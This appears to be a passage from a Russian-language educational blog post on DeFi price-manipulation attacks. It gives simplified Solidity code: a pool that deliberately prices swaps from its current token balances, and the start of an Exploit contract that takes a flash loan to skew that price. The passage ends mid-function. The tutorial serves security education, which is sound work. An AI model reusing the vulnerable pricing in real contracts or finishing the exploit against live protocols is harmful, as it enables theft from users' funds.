На прошлой неделе мы немного отошли от основной темы, а сейчас самое время продолжить разбирать новые атаки.
Сегодня мы углубимся в тему атак с манипулированием ценами.
Эти атаки являются распространенной угрозой в децентрализованных финансах (DeFi), использующей уязвимости в протоколах для искусственного искажения цен на активы с целью получения незаконной прибыли. Только в 2024 году эти атаки привели к убыткам на сумму более 52 миллионов долларов в 37 инцидентах, что делает их вторым по ущербу вектором атак. Злоумышленники часто используют флэш-кредиты или уязвимости оракулов для создания ценовых диспропорций, что влияет на такие критически важные компоненты, как кредитные платформы, децентрализованные биржи (DEX) и стейблкоины.
Как цена рассчитывается по соотношению балансов токенов?
Расчет цен на основе балансов токенов в рамках одного контракта кажется простым: соотношение токена A к токену B в пуле определяет цену. Однако злоумышленники могут временно изменить эти балансы с помощью флэш-кредитов или прямых пожертвований, вызывая резкие колебания цен. Ранее мы обсуждали, как злоумышленники могут манипулировать состоянием протокола с помощью атак с помощью пожертвований, которые часто основаны на искажении внутренних балансов, чтобы повлиять на такие значения, как «цена акции». Флэш-кредиты используют аналогичные принципы, позволяя злоумышленникам временно манипулировать балансами базовых токенов, используемых для ценообразования в рамках одной транзакции.
Давайте рассмотрим, как злоумышленник использует простую DEX, где цена определяется непосредственно на основе балансов токенов.
// Pool.sol (Simplified for illustration)
// Represents a simple liquidity pool vulnerable to balance manipulation
contract Pool is FlashLoanProvider { // Assume FlashLoanProvider is implemented elsewhere
IERC20 public immutable tokenA;
IERC20 public immutable tokenB;
constructor(IERC20 _tokenA, IERC20 _tokenB) {
tokenA = _tokenA;
tokenB = _tokenB;
}
// Simplified swap function
function swap(IERC20 tokenIn, uint256 amountIn) external returns (uint256 amountOut) {
require(tokenIn == tokenA || tokenIn == tokenB, "invalid token");
IERC20 tokenOut = tokenIn == tokenA ? tokenB : tokenA;
// Transfer tokens in
require(tokenIn.transferFrom(msg.sender, address(this), amountIn), "transfer in failed");
// Calculate amount out based on price
uint256 price = getPrice(tokenIn, tokenOut);
amountOut = amountIn * price / 1e18;
// Transfer tokens out
require(tokenOut.transfer(msg.sender, amountOut), "transfer out failed");
return amountOut;
}
// Vulnerable price calculation based on current pool balances
function getPrice(IERC20 tokenIn, IERC20 tokenOut) public view returns (uint256) {
uint256 balIn = tokenIn.balanceOf(address(this));
uint256 balOut = tokenOut.balanceOf(address(this));
if (balIn == 0 || balOut == 0) {
return 1e18; // 1:1 initial price
}
// Price is the ratio of output token to input token
return balOut * 1e18 / balIn;
}
// ... (flashLoanExternal and FlashLoanProvider logic assumed) ...
}
// Exploit.sol (Simplified for illustration)
// Contract to execute the flash loan and exploit
contract Exploit is IFlashLoanReceiver {
Pool public pool;
IERC20 public tokenA;
IERC20 public tokenB;
address public attacker;
constructor(
Pool _pool,
IERC20 _tokenA,
IERC20 _tokenB,
address _attacker
) {
pool = _pool;
tokenA = _tokenA;
tokenB = _tokenB;
attacker = _attacker;
}
function attack(uint256 loanAmount) external {
// Get the flashloan of tokenA
pool.flashLoanExternal(address(this), tokenA, loanAmount);
}
function receiveFlashLoan(IERC20 token, uint256 loanAmount) external override {
require(token == tokenA, "Expected tokenA flash loan");